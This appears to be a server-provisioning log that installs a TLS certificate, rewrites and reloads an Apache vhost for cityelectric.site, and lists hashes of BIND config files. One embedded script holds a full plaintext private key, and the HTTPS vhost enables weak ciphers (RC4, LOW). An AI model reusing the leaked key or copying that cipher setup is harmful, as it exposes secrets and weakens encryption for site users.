MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= ead22db0f92a33841cc438de003f20f0
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 74618525f3c0ba81ceb567ef7724dba7
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-08-26 14:59:14: Establishing a remote connection
2025-08-26 14:59:15:
PUT: /tmp/pkp233864
#!/bin/bash
temp_file=$(mktemp)
chain_file=$(mktemp)
TARGET=8b681b324e20018bd65d7ce40680da56.crt
CHAINTARGET=8b681b324e20018bd65d7ce40680da56.chain.crt
cat > $temp_file <<'endmsg'
8b:68:1b:32:4e:20:01:8b:d6:5d:7c:e4:06:80:da:56
-----BEGIN CERTIFICATE-----
MIIDXTCCAkWgAwIBAgIUBn2P/Z9FMdNbIoXYC8PHonkPz6YwDQYJKoZIhvcNAQEL
BQAwOzEaMBgGA1UECgwRVGhlWW91bmdEZXNpZ25lcnMxHTAbBgNVBAMMFFRoZVlv
dW5nRGVzaWduZXJzIENBMB4XDTI1MDgyNjE0NTkxNFoXDTI2MDgyNjE0NTkxNFow
HDEaMBgGA1UEAwwRY2l0eWVsZWN0cmljLnNpdGUwggEiMA0GCSqGSIb3DQEBAQUA
A4IBDwAwggEKAoIBAQDEWgngW6cP7fhqX7FAI5wKl7fQAwxaq8lnYeSC3QSeGwOi
GoZTnipZQn9qPQ2pHS9w6G+5pT7b1RUPA5yhyTgHoCFxYoKeBMitFRnIy4nS0cRx
AHisK53pbm0D2519QA9ikFHOwGgc2sxZBl+gjjn73yr63a2YeUXItQ+6lqxasq8K
DCUMTFbmQ23GtF8dKQN8id6GVO5G30iA56g4BVhh9/m8DS0me8QK99D2Rb+G+e30
2kr8JSUKuOQvJU8WQUNnn/kaGG6VRGEyY4MTgcNygYQXKipuLYV6AHU8jfZJ8kzc
HBewroYkpIFZriU2OlKrf2ZCRDpQjt2fANTWB+udAgMBAAGjeDB2MB0GA1UdDgQW
BBStUDh1JJKze2eAJ244Y4YnaRjYnTAfBgNVHSMEGDAWgBSFm24M/c0kteH10KQD
OIJXSzBz/DALBgNVHQ8EBAMCBaAwCQYDVR0TBAIwADAcBgNVHREEFTATghFjaXR5
ZWxlY3RyaWMuc2l0ZTANBgkqhkiG9w0BAQsFAAOCAQEAB93XnN0KTDWuykuYzTA4
IVglTWUifxp+PqBMeqlg44OGfDGKCgTDhMh83qtOnyXkr1Ef/Cxj83VDQhmbyDas
8z+muGSnkT/OjleB0p6S9pbcIn4BBxFuJXVrVDqPXFw8regMjcLzdAz2+UlyDosZ
kD5oAGn9k3DXmK07s3inPA2rN4Ow2IBOdX8S+zMQH3wRv8kjkqU8f49r/RhgHIgk
1x9HRXoleMaiZaG6Ydx1s/ZGnDIk1gCD7aawVUIRO71KIF4MmEY+uyCtAvvYCAIH
LHWpoNW0JOklcuIskD84PgAAANFwPfWCUnX6jh5ekkDA6VfF+Vw1wnMN56mzFkbb
rA==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDEWgngW6cP7fhq
X7FAI5wKl7fQAwxaq8lnYeSC3QSeGwOiGoZTnipZQn9qPQ2pHS9w6G+5pT7b1RUP
A5yhyTgHoCFxYoKeBMitFRnIy4nS0cRxAHisK53pbm0D2519QA9ikFHOwGgc2sxZ
Bl+gjjn73yr63a2YeUXItQ+6lqxasq8KDCUMTFbmQ23GtF8dKQN8id6GVO5G30iA
56g4BVhh9/m8DS0me8QK99D2Rb+G+e302kr8JSUKuOQvJU8WQUNnn/kaGG6VRGEy
Y4MTgcNygYQXKipuLYV6AHU8jfZJ8kzcHBewroYkpIFZriU2OlKrf2ZCRDpQjt2f
ANTWB+udAgMBAAECggEBAJRrxxlrzm2xIV0vNmnYQQSUyKIZG8aSIizeh4AQF4R3
wRhQ2obsgPB13qBsxB24bPr5CDMZYNmFSWTPAyAcXRkOhxkRMNDHpvWGhLYOfQD6
BXaxt4XVdolUKl2HLZXWzYpgsyYItOpSzbLhqXlQ6S2l9PQqiyU9Tm23x8rwSBpJ
sXu6pjLs+DmF0FavvaarVSyVQmkLtaojLNukDi5U1JmeqGKVE/1pv6sABoUrYN8L
kIbClH0SpOj62v6PJchP5560b8dNoQSY6cfgng0VYGZ756G7QsKCfD8XD16JIXUn
IK7RWA7b3e3StDYmI2ecGoAADgNzVnUgo8rnIh3uNLUCgYEA7tgSQ0PgWONtKYIR
X6adrxCJDmNwIAgs1+yhgLH+B00lDMrrYynUAd0P/4wouhM0YDP7bXIPRn6+XjQP
3JEe0Nej8wijAIkhJOX1+FW52iZe4QAE5IzV0ye3qgXzaeMVkmOkvbq62clMMnHV
Rqvfpzp/DL6bbKBuSS3QCrKwsSMCgYEA0nSbZvstdoNLSzyXHE6GrgDiz0mIGX3l
7iIds/ZwuLdVsAjpPd5tCcNJyzz4JmIpzEUYNZ+rhO5xsyIvxlTsCvqfq5LgCBVb
aTt4hgj/us9bEoRemFoVVb11sW8aqi0i98ehFgFSMMt6xrfhFpHBvOG1w9SxAUeE
ot9hdAYpnD8CgYBV67TmLczPLUFf5UKKvk2LZM9pNaxoWYiIRL/0pBNWXRIu//Cd
w7ZY1UWkEK+2AKKe2RRh0t5b5cxl5yStnCcRygFYtIqu7qXVuEQ8CdrJ93O6TV91
OJTTWT5hE7L1LJPeDap99maxYhDfNMQcoEfcyNZbp1YSRcRm3uwwbQfTMQKBgH/H
Wt9g3A6b0uhgZmNCblVRpmQzAhZwMV2vixdMJs6QSc9y6aKt3MhTsQdcAlLTwQsM
XJGaW3p/h7s6o4Uo5JQZ7T4wFCP0S6cN+7Rt3E8hPOt2QTUBZPjE6qOLkMYIV7XX
mD+TF8MWmHn1BQ49+0JiTIkVJ09ei/KT7EiUwUjjAoGBAKbXwKXY+cBSusDKeTxA
a/UKkvD3ysUVTaKSbmqEjSExLZ8lCAotbhjq2TdFepmYnxGvYJraVi6jEB8WTcrt
9HTN41XHZMGJ7e8R1QBT8cfyCc8wgY8FaVl/9tRQd6FQHyGRJe6cqgH+DICFmehv
OMjkVxxsaXzjkQkN3jbXb3Mz
-----END PRIVATE KEY-----
endmsg
cat > $chain_file <<'endmsg'
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
cp $chain_file /etc/ssl/certs/$CHAINTARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
rm $chain_file
2025-08-26 14:59:15:
chmod 755 /tmp/pkp233864; /tmp/pkp233864; rm /tmp/pkp233864
dir=/etc/ssl/certs
2025-08-26 14:59:16:
PUT: /tmp/pkp663256
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/cityelectric_www_site.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-08-26 14:59:16:
chmod 755 /tmp/pkp663256; /tmp/pkp663256; rm /tmp/pkp663256
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/cityelectric_www_site.conf 45
<VirtualHost *:80>
ServerName cityelectric.site
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/cityelectric_www
<Directory /var/www/cityelectric_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/cityelectric/www_access.log combined
ErrorLog /var/log/apache2/cityelectric/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
2025-08-26 14:59:17:
PUT: /tmp/pkp667770
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=cityelectric_www_site.conf
TARGET=/etc/apache2/sites-enabled/cityelectric_www_site.conf
DOCROOT=/var/www/cityelectric_www
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName cityelectric.site
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/cityelectric_www
<Directory /var/www/cityelectric_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/cityelectric/www_access.log combined
ErrorLog /var/log/apache2/cityelectric/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName cityelectric.site
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt
DocumentRoot /var/www/cityelectric_www
<Directory /var/www/cityelectric_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/cityelectric/www_secure_access.log combined
ErrorLog /var/log/apache2/cityelectric/www_secure_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p /var/log/apache2/cityelectric
mkdir -p $DOCROOT/$PUBLIC
chown -R phil:phil $DOCROOT
ln -s "..//etc/apache2/sites-enabled/cityelectric_www_site.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/cityelectric_www_site.conf)= /etc/apache2//etc/apache2/sites-enabled/cityelectric_www_site.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/cityelectric_www_site.conf= 1'
fi
2025-08-26 14:59:17:
chmod 755 /tmp/pkp667770; /tmp/pkp667770; rm /tmp/pkp667770
link(/etc/apache2/sites-enabled/cityelectric_www_site.conf)= /etc/apache2//etc/apache2/sites-enabled/cityelectric_www_site.conf
file(/etc/apache2//etc/apache2/sites-enabled/cityelectric_www_site.conf= 1
2025-08-26 14:59:18:
PUT: /tmp/pkp132510
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-08-26 14:59:18:
chmod 755 /tmp/pkp132510; /tmp/pkp132510; rm /tmp/pkp132510
.
2025-08-26 14:59:20: Establishing a connection
2025-08-26 14:59:20:
PUT: /tmp/pkp699421
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-08-26 14:59:20:
runuser -l bind -s /bin/bash -c '/tmp/pkp699421; rm /tmp/pkp699421'
2025-08-26 14:59:20:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
